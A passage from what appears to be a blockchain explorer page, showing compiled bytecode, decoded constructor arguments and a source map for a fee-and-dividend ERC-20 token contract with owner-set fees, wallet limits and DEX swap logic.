902060020154610daf90826116c3565b6001600160a01b0387166000908152602360205260409020600281019190915554610dd9906116cf565b6001600160a01b0387166000908152602360205260409020600101555b505b505050505050505050565b6000546001600160a01b03163314610e2d5760405162461bcd60e51b81526004016108a790612aff565b600d546001600160a01b03838116911614801590610e5e5750600c546001600160a01b038381166101009092041614155b8015610e7357506001600160a01b0382163014155b610eb45760405162461bcd60e51b8152602060048201526012602482015271496e656c696769626c65204164647265737360701b60448201526064016108a7565b6001600160a01b03919091166000908152600960205260409020805460ff1916911515919091179055565b6000610f0b610eee6000610aa6565b610f05610efc61dead610aa6565b600154906116b7565b906116b7565b905090565b602a5460405163a9059cbb60e01b81526001600160a01b039182166004820152602481018390529083169063a9059cbb906044016020604051808303816000875af1158015610f63573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f879190612bb0565b505050565b600061080933848461134f565b610fa23361157d565b565b6001600160a01b0381166000908152602360205260408120548103610fcb57506000919050565b6001600160a01b038216600090815260236020526040812054610fed906116cf565b6001600160a01b03841660009081526023602052604090206001015490915080821161101d575060009392505050565b61102782826116b7565b949350505050565b6000546001600160a01b031633146110595760405162461bcd60e51b81526004016108a790612aff565b600e889055600f87905560128690556010859055601184905560138390556014829055601581905560165461108f90600561152c565b601354111580156110af57506016546110a990600561152c565b60145411155b80156110ca57506016546110c490600561152c565b60155411155b61112b5760405162461bcd60e51b815260206004820152602c60248201527f746f74616c46656520616e642073656c6c4665652063616e6e6f74206265206d60448201526b6f7265207468616e2032302560a01b60648201526084016108a7565b5050505050505050565b6000546001600160a01b0316331461115f5760405162461bcd60e51b81526004016108a790612aff565b6001600160a01b0382166000908152600860205260409020805460ff1916821580159190911790915561119b576111978260006116ec565b5050565b611197826111a884610aa6565b6116ec565b6000546001600160a01b031633146111d75760405162461bcd60e51b81526004016108a790612aff565b600080546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6001600160a01b03831661128d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016108a7565b6001600160a01b0382166112ee5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016108a7565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b61135a838383611802565b611364838361199c565b61136d82611a2d565b611378838383611b9c565b611383838383611c88565b61138d8383611db5565b6001600160a01b0383166000908152600560205260409020546113b090826116b7565b6001600160a01b0384166000908152600560205260408120919091556113d68484611dd0565b6113e057816113eb565b6113eb848484611e16565b6001600160a01b03841660009081526005602052604090205490915061141190826116c3565b6001600160a01b0380851660008181526005602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906114659085815260200190565b60405180910390a36001600160a01b03841660009081526008602052604090205460ff1661149a5761149a846111a886610aa6565b6001600160a01b03831660009081526008602052604090205460ff166114c7576114c7836111a885610aa6565b6001600160a01b038316600090815260236020526040902054156114ee576114ee8361157d565b50505050565b600081848411156115185760405162461bcd60e51b81526004016108a79190612910565b505050900390565b60006108768284612b35565b60006108768284612b4c565b6025546001600160a01b038216600090815260226020526040812054909142916115629190612b9d565b10801561080d575060265461157683610fa4565b1192915050565b6001600160a01b038116600090815260236020526040812054900361159f5750565b60006115aa82610fa4565b9050801561119757601d546115bf90826116c3565b601d55601a5460405163a9059cbb60e01b81526001600160a01b038481166004830152602482018490529091169063a9059cbb906044016020604051808303816000875af1158015611615573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116399190612bb0565b506001600160a01b0382166000908152602260209081526040808320429055602390915290206002015461166d90826116c3565b6001600160a01b0383166000908152602360205260409020600281019190915554611697906116cf565b6001600160a01b0383166000908152602360205260409020600101555050565b60006108768284612bcd565b60006108768284612b9d565b600061080d601f54610989601e548561152090919063ffffffff16565b60008111801561171257506001600160a01b038216600090815260236020526040902054155b1561177757602080546001600160a01b03841660008181526021845260408120839055600183018455929092527fc97bfaf2f8ee708c303a06d134f5ecd8389ae0432af62dc132a24118292866bb0180546001600160a01b03191690911790556117aa565b8015801561179c57506001600160a01b03821660009081526023602052604090205415155b156117aa576117aa82611f04565b6001600160a01b038216600090815260236020526040902054601b546117db9183916117d5916116b7565b906116c3565b601b556001600160a01b0382166000908152602360205260409020819055611697816116cf565b6001600160a01b0383166118665760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016108a7565b6001600160a01b0382166118c85760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016108a7565b6000811161192a5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016108a7565b61193383610aa6565b811115610f875760405162461bcd60e51b815260206004820152603160248201527f596f752061726520747279696e6720746f207472616e73666572206d6f7265206044820152707468616e20796f75722062616c616e636560781b60648201526084016108a7565b6001600160a01b03821660009081526007602052604090205460ff161580156119de57506001600160a01b03811660009081526007602052604090205460ff16155b1561119757600d54600160a01b900460ff166111975760405162461bcd60e51b815260206004820152600e60248201526d1d1c98591a5b99d05b1b1bddd95960921b60448201526064016108a7565b600c546001600160a01b038281166101009092041614801590611a5e5750600d546001600160a01b03828116911614155b8015611a6c5750600c5460ff165b15611b4957611a7c600243612bcd565b326000908152600a6020526040902054108015611aba5750611a9f600243612bcd565b6001600160a01b0382166000908152600a6020526040902054105b611b245760405162461bcd60e51b815260206004820152603560248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527432b21710102a393c9030b3b0b4b7103630ba32b91760591b60648201526084016108a7565b326000908152600a602052604080822043908190556001600160a01b03841683529120555b600d546001600160a01b03828116911614611b99576001600160a01b0381166000908152600b60205260408120549003611b99576001600160a01b0381166000908152600b602052604090204290555b50565b6001600160a01b03831660009081526007602052604090205460ff16158015611bde57506001600160a01b03821660009081526007602052604090205460ff16155b8015611bf85750600d546001600160a01b03838116911614155b8015611c0f57506001600160a01b03821661dead14155b15610f87576004546001600160a01b038316600090815260056020526040902054611c3a90836116c3565b1115610f875760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e000060448201526064016108a7565b600d546001600160a01b03848116911614611d295760035481111580611cc657506001600160a01b03831660009081526007602052604090205460ff165b80611ce957506001600160a01b03821660009081526007602052604090205460ff165b611d295760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b60448201526064016108a7565b60025481111580611d5257506001600160a01b03831660009081526007602052604090205460ff165b80611d7557506001600160a01b03821660009081526007602052604090205460ff165b610f875760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b60448201526064016108a7565b611dbf8282612018565b1561119757611197601854836120cc565b6001600160a01b03821660009081526007602052604081205460ff161580156108765750506001600160a01b031660009081526007602052604090205460ff1615919050565b600080611e23858561226f565b1115611efd576000611e46611e38868661226f565b60165461098390869061152c565b30600090815260056020526040902054909150611e6390826116c3565b30600081815260056020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611eb49085815260200190565b60405180910390a360125415611eeb57611eeb3061dead611ee66012546109836016548961152c90919063ffffffff16565b61134f565b611ef583826116b7565b915050610876565b5092915050565b60208054611f1490600190612bcd565b81548110611f2457611f24612b6e565b60009182526020808320909101546001600160a01b03848116845260218352604090932054825493909116928110611f5e57611f5e612b6e565b600091825260208083209190910180546001600160a01b0319166001600160a01b039485161790559183168152602180835260408220548354909391929190611fa990600190612bcd565b81548110611fb957611fb9612b6e565b60009182526020808320909101546001600160a01b03168352828101939093526040909101902091909155805480611ff357611ff3612be0565b600082815260209020810160001990810180546001600160a01b031916905501905550565b60008060185461202730610aa6565b6017549111159150610100900460ff16158015612046575060175460ff165b801561205b5750600d54600160a01b900460ff165b801561208057506001600160a01b03841660009081526007602052604090205460ff16155b80156120a557506001600160a01b03831660009081526007602052604090205460ff16155b80156120be5750600d546001600160a01b038481169116145b801561102757509392505050565b6017805461ff001916610100179055601054601154600f54600e5460009361210593600293610983936117d592918391829060016116c3565b9050600061212282610989600e548761152090919063ffffffff16565b9050600061213085836116b7565b90504761213c82612310565b600061214847836116b7565b9050600061216b612164600e54886116b790919063ffffffff16565b839061152c565b90506000612184600e548361152090919063ffffffff16565b9050801561219657612196868261248d565b600f546000906121ab90610983856002611520565b905080156121ef576029546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156121ed573d6000803e3d6000fd5b505b60105460009061220490610983866002611520565b9050801561221657612216818b61254b565b4715612257576028546040516001600160a01b03909116904780156108fc02916000818181858888f19350505050158015612255573d6000803e3d6000fd5b505b50506017805461ff0019169055505050505050505050565b6001600160a01b03821660009081526009602052604081205460ff16806122ae57506001600160a01b03821660009081526009602052604090205460ff165b156122c8576016546122c19060646116b7565b905061080d565b600d546001600160a01b03908116908316036122e7575060145461080d565b600d546001600160a01b0390811690841603612306575060135461080d565b5060155492915050565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061234557612345612b6e565b60200260200101906001600160a01b031690816001600160a01b031681525050600c60019054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156123b8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123dc9190612bf6565b816001815181106123ef576123ef612b6e565b6001600160a01b039283166020918202929092010152600c5461241a9130916101009004168461122b565b600c5460405163791ac94760e01b81526101009091046001600160a01b03169063791ac94790612457908590600090869030904290600401612c57565b600060405180830381600087803b15801561247157600080fd5b505af1158015612485573d6000803e3d6000fd5b505050505050565b600c546124aa90309061010090046001600160a01b03168461122b565b600c54602a5460405163f305d71960e01b81523060048201526024810185905260006044820181905260648201526001600160a01b0391821660848201524260a4820152610100909204169063f305d71990839060c40160606040518083038185885af115801561251f573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906125449190612c93565b5050505050565b601a546040516370a0823160e01b81523060048201526000916001600160a01b0316906370a0823190602401602060405180830381865afa158015612594573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125b89190612cc1565b6040805160028082526060820183529293506000929091602083019080368337019050509050600c60019054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612631573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906126559190612bf6565b8160008151811061266857612668612b6e565b6001600160a01b039283166020918202929092010152601a5482519116908290600190811061269957612699612b6e565b6001600160a01b039283166020918202929092010152600c5460405163b6f9de9560e01b81526101009091049091169063b6f9de959086906126e690600090869030904290600401612cda565b6000604051808303818588803b1580156126ff57600080fd5b505af1158015612713573d6000803e3d6000fd5b5050601a546040516370a0823160e01b8152306004820152600094506001600160a01b0390911692506370a082319150602401602060405180830381865afa158015612763573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906127879190612cc1565b9050600061279582856116b7565b601c549091506127a590826116c3565b601c55604080518082018252600f81526e6e6f756e636528616464726573732960881b60209182015281516001600160a01b03888116602480840191909152845180840390910181526044909201845291810180516001600160e01b031663366b82c160e01b179052602a54925190926000921690612825908490612d0f565b6000604051808303816000865af19150503d8060008114612862576040519150601f19603f3d011682016040523d82523d6000602084013e612867565b606091505b50509050806128b85760405162461bcd60e51b815260206004820152601d60248201527f43616c6c20746f206f7468657220636f6e7472616374206661696c656400000060448201526064016108a7565b6128df6128d6601b5461098986601f5461152090919063ffffffff16565b601e54906116c3565b601e555050505050505050565b60005b838110156129075781810151838201526020016128ef565b50506000910152565b602081526000825180602084015261292f8160408501602087016128ec565b601f01601f19169190910160400192915050565b6001600160a01b0381168114611b9957600080fd5b6000806040838503121561296b57600080fd5b823561297681612943565b946020939093013593505050565b60008060006060848603121561299957600080fd5b83356129a481612943565b925060208401356129b481612943565b929592945050506040919091013590565b6000602082840312156129d757600080fd5b813561087681612943565b6000806000606084860312156129f757600080fd5b505081359360208301359350604090920135919050565b8015158114611b9957600080fd5b60008060408385031215612a2f57600080fd5b8235612a3a81612943565b91506020830135612a4a81612a0e565b809150509250929050565b600080600060608486031215612a6a57600080fd5b8335925060208401356129b481612943565b60008060408385031215612a8f57600080fd5b8235612a9a81612943565b91506020830135612a4a81612943565b600080600080600080600080610100898b031215612ac757600080fd5b505086359860208801359850604088013597606081013597506080810135965060a0810135955060c0810135945060e0013592509050565b60208082526006908201526510a7aba722a960d11b604082015260600190565b634e487b7160e01b600052601160045260246000fd5b808202811582820484141761080d5761080d612b1f565b600082612b6957634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060018201612b9657612b96612b1f565b5060010190565b8082018082111561080d5761080d612b1f565b600060208284031215612bc257600080fd5b815161087681612a0e565b8181038181111561080d5761080d612b1f565b634e487b7160e01b600052603160045260246000fd5b600060208284031215612c0857600080fd5b815161087681612943565b600081518084526020808501945080840160005b83811015612c4c5781516001600160a01b031687529582019590820190600101612c27565b509495945050505050565b85815284602082015260a060408201526000612c7660a0830186612c13565b6001600160a01b0394909416606083015250608001529392505050565b600080600060608486031215612ca857600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215612cd357600080fd5b5051919050565b848152608060208201526000612cf36080830186612c13565b6001600160a01b03949094166040830152506060015292915050565b60008251612d218184602087016128ec565b919091019291505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220431bada4b8d4aa6c5064de9c874ef4133d4f295dd0cd9aa87ab566518c831d2a64736f6c63430008110033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000a8de8467501a9b409c9252c4a041e472bd3bef16000000000000000000000000a8de8467501a9b409c9252c4a041e472bd3bef16000000000000000000000000a8de8467501a9b409c9252c4a041e472bd3bef16

-----Decoded View---------------
Arg [0] : _development_receiver (address): 0xa8dE8467501A9b409C9252C4a041E472BD3Bef16
Arg [1] : _marketing_receiver (address): 0xa8dE8467501A9b409C9252C4a041E472BD3Bef16
Arg [2] : _autoLiquididation (address): 0xa8dE8467501A9b409C9252C4a041E472BD3Bef16

-----Encoded View---------------
3 Constructor Arguments found :
Arg [0] : 000000000000000000000000a8de8467501a9b409c9252c4a041e472bd3bef16
Arg [1] : 000000000000000000000000a8de8467501a9b409c9252c4a041e472bd3bef16
Arg [2] : 000000000000000000000000a8de8467501a9b409c9252c4a041e472bd3bef16


Deployed Bytecode Sourcemap

6411:23043:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10440:83;;;;;;;;;;-1:-1:-1;10510:5:0;;;;;;;;;;;-1:-1:-1;;;10510:5:0;;;;10440:83;;;;10510:5;10440:83;:::i;:::-;;;;;;;;12087:191;;;;;;;;;;-1:-1:-1;12087:191:0;;;;;:::i;:::-;;:::i;:::-;;;1291:14:1;;1284:22;1266:41;;1254:2;1239:18;12087:191:0;1126:187:1;10908:100:0;;;;;;;;;;-1:-1:-1;10988:12:0;;10908:100;;;1464:25:1;;;1452:2;1437:18;10908:100:0;1318:177:1;8177:66:0;;;;;;;;;;-1:-1:-1;8177:66:0;;;;-1:-1:-1;;;;;8177:66:0;;;;;;-1:-1:-1;;;;;1664:32:1;;;1646:51;;1634:2;1619:18;8177:66:0;1500:203:1;22146:442:0;;;;;;;;;;-1:-1:-1;22146:442:0;;;;;:::i;:::-;;:::i;10717:83::-;;;;;;;;;;;;;:::i;:::-;;4391:103;;;;;;;;;;-1:-1:-1;4391:103:0;;;;;:::i;:::-;4446:4;4481:5;-1:-1:-1;;;;;4470:16:0;;;4481:5;;4470:16;;4391:103;10626:83;;;;;;;;;;-1:-1:-1;10626:83:0;;6620:1;2563:36:1;;2551:2;2536:18;10626:83:0;2421:184:1;15148:649:0;;;;;;;;;;-1:-1:-1;15148:649:0;;;;;:::i;:::-;;:::i;28641:287::-;;;;;;;;;;-1:-1:-1;28641:287:0;;;;;:::i;:::-;;:::i;8250:26::-;;;;;;;;;;;;;;;;7015:43;;;;;;;;;;-1:-1:-1;7015:43:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;9106:35;;;;;;;;;;-1:-1:-1;9106:35:0;;;;-1:-1:-1;;;;;9106:35:0;;;7065:48;;;;;;;;;;-1:-1:-1;7065:48:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;11734:124;;;;;;;;;;-1:-1:-1;11734:124:0;;;;;:::i;:::-;;:::i;8838:45::-;;;;;;;;;;;;;;;;9148:33;;;;;;;;;;-1:-1:-1;9148:33:0;;;;-1:-1:-1;;;;;9148:33:0;;;8890;;;;;;;;;;;;;;;;11016:119;;;;;;;;;;-1:-1:-1;11016:119:0;;;;;:::i;:::-;;:::i;4502:139::-;;;;;;;;;;;;;:::i;11866:213::-;;;;;;;;;;;;;:::i;24820:1694::-;;;;;;;;;;-1:-1:-1;24820:1694:0;;;;;:::i;:::-;;:::i;10808:92::-;;;;;;;;;;-1:-1:-1;10860:7:0;10887:5;-1:-1:-1;;;;;10887:5:0;10808:92;;14827:313;;;;;;;;;;-1:-1:-1;14827:313:0;;;;;:::i;:::-;;:::i;12286:154::-;;;;;;;;;;;;;:::i;8283:29::-;;;;;;;;;;;;;;;;26799:139;;;;;;;;;;-1:-1:-1;26799:139:0;;;;;:::i;:::-;;:::i;7465:19::-;;;;;;;;;;-1:-1:-1;7465:19:0;;;;-1:-1:-1;;;;;7465:19:0;;;11143:197;;;;;;;;;;-1:-1:-1;11143:197:0;;;;;:::i;:::-;;:::i;8932:84::-;;;;;;;;;;;;;:::i;7398:39::-;;;;;;;;;;-1:-1:-1;7398:39:0;;;;;;;;26946:222;;;;;;;;;;-1:-1:-1;26946:222:0;;;;;:::i;:::-;-1:-1:-1;;;;;27126:19:0;27046:7;27126:19;;;:6;:19;;;;;:33;;;;26946:222;7339:52;;;;;;;;;;-1:-1:-1;7339:52:0;;;;;:::i;:::-;;;;;;;;;;;;;;8712:39;;;;;;;;;;-1:-1:-1;8712:39:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4031:25:1;;;4087:2;4072:18;;4065:34;;;;4115:18;;;4108:34;4019:2;4004:18;8712:39:0;3829:319:1;27868:542:0;;;;;;;;;;-1:-1:-1;27868:542:0;;;;;:::i;:::-;;:::i;11348:184::-;;;;;;;;;;-1:-1:-1;11348:184:0;;;;;:::i;:::-;-1:-1:-1;;;;;11497:18:0;;;11465:7;11497:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;11348:184;14055:764;;;;;;;;;;-1:-1:-1;14055:764:0;;;;;:::i;:::-;;:::i;22973:288::-;;;;;;;;;;-1:-1:-1;22973:288:0;;;;;:::i;:::-;;:::i;8319:31::-;;;;;;;;;;;;;;;;4649:136;;;;;;;;;;-1:-1:-1;4649:136:0;;;;;:::i;:::-;;:::i;8794:37::-;;;;;;;;;;;;;;;;12087:191;12189:4;12211:37;12220:10;12232:7;12241:6;12211:8;:37::i;:::-;-1:-1:-1;12266:4:0;12087:191;;;;;:::o;22146:442::-;22278:4;22295:36;22305:6;22313:9;22324:6;22295:9;:36::i;:::-;22342:216;22365:6;22386:10;22411:136;22465:6;22411:136;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;22411:19:0;;;;;;:11;:19;;;;;;;;22431:10;22411:31;;;;;;;;;:136;:35;:136::i;:::-;22342:8;:216::i;:::-;-1:-1:-1;22576:4:0;22146:442;;;;;;:::o;10717:83::-;4446:4;4481:5;-1:-1:-1;;;;;4481:5:0;4341:10;4470:16;4325:38;;;;-1:-1:-1;;;4325:38:0;;;;;;;:::i;:::-;;;;;;;;;10771:14:::1;:21:::0;;-1:-1:-1;;;;10771:21:0::1;-1:-1:-1::0;;;10771:21:0::1;::::0;;10717:83::o;15148:649::-;4446:4;4481:5;-1:-1:-1;;;;;4481:5:0;4341:10;4470:16;4325:38;;;;-1:-1:-1;;;4325:38:0;;;;;;;:::i;:::-;15282:13:::1;15323:5;15315:4;15299:13;10988:12:::0;;;10908:100;15299:13:::1;:20;;;;:::i;:::-;15298:30;;;;:::i;:::-;15282:46;;15339:19;15388:5;15378:6;15362:13;10988:12:::0;;;10908:100;15362:13:::1;:22;;;;:::i;:::-;15361:32;;;;:::i;:::-;15339:54;;15404:17;15452:5;15441:7;15425:13;10988:12:::0;;;10908:100;15425:13:::1;:23;;;;:::i;:::-;15424:33;;;;:::i;:::-;15468:12;:20:::0;;;15499:14:::1;:28:::0;;;15538:15:::1;:27:::0;;;15404:53;-1:-1:-1;;15592:30:0::1;15617:4;15592:20;15610:1;15592:13;10988:12:::0;;;10908:100;15592:13:::1;:17:::0;::::1;:20::i;:::-;:24:::0;::::1;:30::i;:::-;15576:46;;15664:5;15655;:14;;:38;;;;;15688:5;15673:11;:20;;15655:38;:60;;;;;15710:5;15697:9;:18;;15655:60;15633:156;;;::::0;-1:-1:-1;;;15633:156:0;;6535:2:1;15633:156:0::1;::::0;::::1;6517:21:1::0;6574:2;6554:18;;;6547:30;6613:34;6593:18;;;6586:62;-1:-1:-1;;;6664:18:1;;;6657:44;6718:19;;15633:156:0::1;6333:410:1::0;15633:156:0::1;15271:526;;;;15148:649:::0;;;:::o;28641:287::-;4446:4;4481:5;-1:-1:-1;;;;;4481:5:0;4341:10;4470:16;4325:38;;;;-1:-1:-1;;;4325:38:0;;;;;;;:::i;:::-;28810:9:::1;:22:::0;;;;28843:15:::1;:34:::0;28888:14:::1;:32:::0;28641:287::o;11734:124::-;4446:4;4481:5;-1:-1:-1;;;;;4481:5:0;4341:10;4470:16;4325:38;;;;-1:-1:-1;;;4325:38:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;11818:21:0;;;::::1;;::::0;;;:11:::1;:21;::::0;;;;:32;;-1:-1:-1;;11818:32:0::1;::::0;::::1;;::::0;;;::::1;::::0;;11734:124::o;11016:119::-;-1:-1:-1;;;;;11109:18:0;11082:7;11109:18;;;:9;:18;;;;;;;11016:119::o;4502:139::-;4446:4;4481:5;-1:-1:-1;;;;;4481:5:0;4341:10;4470:16;4325:38;;;;-1:-1:-1;;;4325:38:0;;;;;;;:::i;:::-;4583:1:::1;4567:18:::0;;-1:-1:-1;;;;;;4567:18:0::1;::::0;;4601:32:::1;::::0;1646:51:1;;;4601:32:0::1;::::0;1634:2:1;1619:18;4601:32:0::1;;;;;;;4502:139::o:0;11866:213::-;4446:4;4481:5;-1:-1:-1;;;;;4481:5:0;4341:10;4470:16;4325:38;;;;-1:-1:-1;;;4325:38:0;;;;;;;:::i;:::-;10988:12;;11921::::1;:28:::0;10988:12;;11960:14:::1;:30:::0;10988:12;;12001:15:::1;:31:::0;12043:20:::1;:28:::0;;-1:-1:-1;;12043:28:0::1;::::0;;11866:213::o;24820:1694::-;24971:12;:19;25016:10;24944:24;25041:21;;;25037:60;;25079:7;;24820:1694;;;:::o;25037:60::-;25107:15;25137;25155:9;25240:10;25175:18;25230:21;;;:9;:21;;;;;;;;;25267:11;:23;;;;;;25137:27;;-1:-1:-1;25175:18:0;;25267:23;;25262:1245;;25307:505;25324:3;25314:7;:13;:46;;;;;25344:16;25331:10;:29;25314:46;25307:505;;;25401:16;25385:12;;:32;25381:97;;25457:1;25442:12;:16;25381:97;25500:44;25517:12;25530;;25517:26;;;;;;;;:::i;:::-;;;;;;;;;;;-1:-1:-1;;;;;25517:26:0;25500:16;:44::i;:::-;25496:135;;;25569:42;25584:12;25597;;25584:26;;;;;;;;:::i;:::-;;;;;;;;;;;-1:-1:-1;;;;;25584:26:0;25569:14;:42::i;:::-;25659:35;25671:22;25683:9;25671:7;;:11;:22::i;:::-;25659:7;;:11;:35::i;:::-;25649:45;;25723:9;25751:12;:14;;25713:19;;-1:-1:-1;25751:12:0;:14;;;:::i;:::-;;;;;;25784:12;;;;;:::i;:::-;;;;25307:505;;;25262:1245;;;25844:14;25861:20;25876:4;25861:14;:20::i;:::-;-1:-1:-1;;;;;25918:19:0;;;;;;:9;:19;;;;;;25844:37;;-1:-1:-1;25918:32:0;;25942:7;25918:23;:32::i;:::-;-1:-1:-1;;;;;25896:19:0;;;;;;:9;:19;;;;;:54;25989:21;26003:7;25989:11;:21;:::i;:::-;25975:10;25965:21;;;;:9;:21;;;;;:45;26029:10;;26025:471;;26079:16;;:28;;26100:6;26079:20;:28::i;:::-;26060:16;:47;26133:6;;26126:37;;-1:-1:-1;;;26126:37:0;;-1:-1:-1;;;;;7342:32:1;;;26126:37:0;;;7324:51:1;7391:18;;;7384:34;;;26133:6:0;;;;26126:23;;7297:18:1;;26126:37:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;;26182:23:0;;;;;;:17;:23;;;;;;;;26208:15;26182:41;;26271:6;:12;;;;;:26;;;:78;;26324:6;26271:30;:78::i;:::-;-1:-1:-1;;;;;26242:12:0;;;;;;:6;:12;;;;;:26;;;:107;;;;26442:19;26397:83;;:22;:83::i;:::-;-1:-1:-1;;;;;26368:12:0;;;;;;:6;:12;;;;;:26;;:112;26025:471;25829:678;25262:1245;24933:1581;;;;;;24820:1694;;;:::o;14827:313::-;4446:4;4481:5;-1:-1:-1;;;;;4481:5:0;4341:10;4470:16;4325:38;;;;-1:-1:-1;;;4325:38:0;;;;;;;:::i;:::-;14950:4:::1;::::0;-1:-1:-1;;;;;14930:25:0;;::::1;14950:4:::0;::::1;14930:25;::::0;::::1;::::0;:73:::1;;-1:-1:-1::0;14996:6:0::1;::::0;-1:-1:-1;;;;;14976:27:0;;::::1;14996:6;::::0;;::::1;;14976:27;;14930:73;:119;;;;-1:-1:-1::0;;;;;;15024:25:0;::::1;15044:4;15024:25;;14930:119;14908:187;;;::::0;-1:-1:-1;;;14908:187:0;;7881:2:1;14908:187:0::1;::::0;::::1;7863:21:1::0;7920:2;7900:18;;;7893:30;-1:-1:-1;;;7939:18:1;;;7932:48;7997:18;;14908:187:0::1;7679:342:1::0;14908:187:0::1;-1:-1:-1::0;;;;;15106:15:0;;;::::1;;::::0;;;:5:::1;:15;::::0;;;;:26;;-1:-1:-1;;15106:26:0::1;::::0;::::1;;::::0;;;::::1;::::0;;14827:313::o;12286:154::-;12345:7;12372:60;12410:21;12428:1;12410:9;:21::i;:::-;12372:33;12389:15;9057:42;12389:9;:15::i;:::-;12372:12;;;:16;:33::i;:::-;:37;;:60::i;:::-;12365:67;;12286:154;:::o;26799:139::-;26903:17;;26877:53;;-1:-1:-1;;;26877:53:0;;-1:-1:-1;;;;;26903:17:0;;;26877:53;;;7324:51:1;7391:18;;;7384:34;;;26877:25:0;;;;;;7297:18:1;;26877:53:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;26799:139;;:::o;11143:197::-;11248:4;11270:40;11280:10;11292:9;11303:6;11270:9;:40::i;8932:84::-;8982:26;8997:10;8982:14;:26::i;:::-;8932:84::o;27868:542::-;-1:-1:-1;;;;;27958:19:0;;27934:7;27958:19;;;:6;:19;;;;;:26;:31;;27954:72;;-1:-1:-1;28013:1:0;;27868:542;-1:-1:-1;27868:542:0:o;27954:72::-;-1:-1:-1;;;;;28109:19:0;;28036:33;28109:19;;;:6;:19;;;;;:26;28072:74;;:22;:74::i;:::-;-1:-1:-1;;;;;28192:19:0;;28157:32;28192:19;;;:6;:19;;;;;:33;;;28036:110;;-1:-1:-1;28240:53:0;;;28236:94;;-1:-1:-1;28317:1:0;;27868:542;-1:-1:-1;;;27868:542:0:o;28236:94::-;28347:55;:25;28377:24;28347:29;:55::i;:::-;28340:62;27868:542;-1:-1:-1;;;;27868:542:0:o;14055:764::-;4446:4;4481:5;-1:-1:-1;;;;;4481:5:0;4341:10;4470:16;4325:38;;;;-1:-1:-1;;;4325:38:0;;;;;;;:::i;:::-;14328:12:::1;:25:::0;;;14364:12:::1;:25:::0;;;14400:7:::1;:15:::0;;;14426:10:::1;:21:::0;;;14458:14:::1;:29:::0;;;14498:8:::1;:17:::0;;;14526:7:::1;:15:::0;;;14552:11:::1;:20:::0;;;14617:11:::1;::::0;:18:::1;::::0;14633:1:::1;14617:15;:18::i;:::-;14605:8;;:30;;:80;;;;-1:-1:-1::0;14667:11:0::1;::::0;:18:::1;::::0;14683:1:::1;14667:15;:18::i;:::-;14656:7;;:29;;14605:80;:134;;;;-1:-1:-1::0;14721:11:0::1;::::0;:18:::1;::::0;14737:1:::1;14721:15;:18::i;:::-;14706:11;;:33;;14605:134;14583:228;;;::::0;-1:-1:-1;;;14583:228:0;;8228:2:1;14583:228:0::1;::::0;::::1;8210:21:1::0;8267:2;8247:18;;;8240:30;8306:34;8286:18;;;8279:62;-1:-1:-1;;;8357:18:1;;;8350:42;8409:19;;14583:228:0::1;8026:408:1::0;14583:228:0::1;14055:764:::0;;;;;;;;:::o;22973:288::-;4446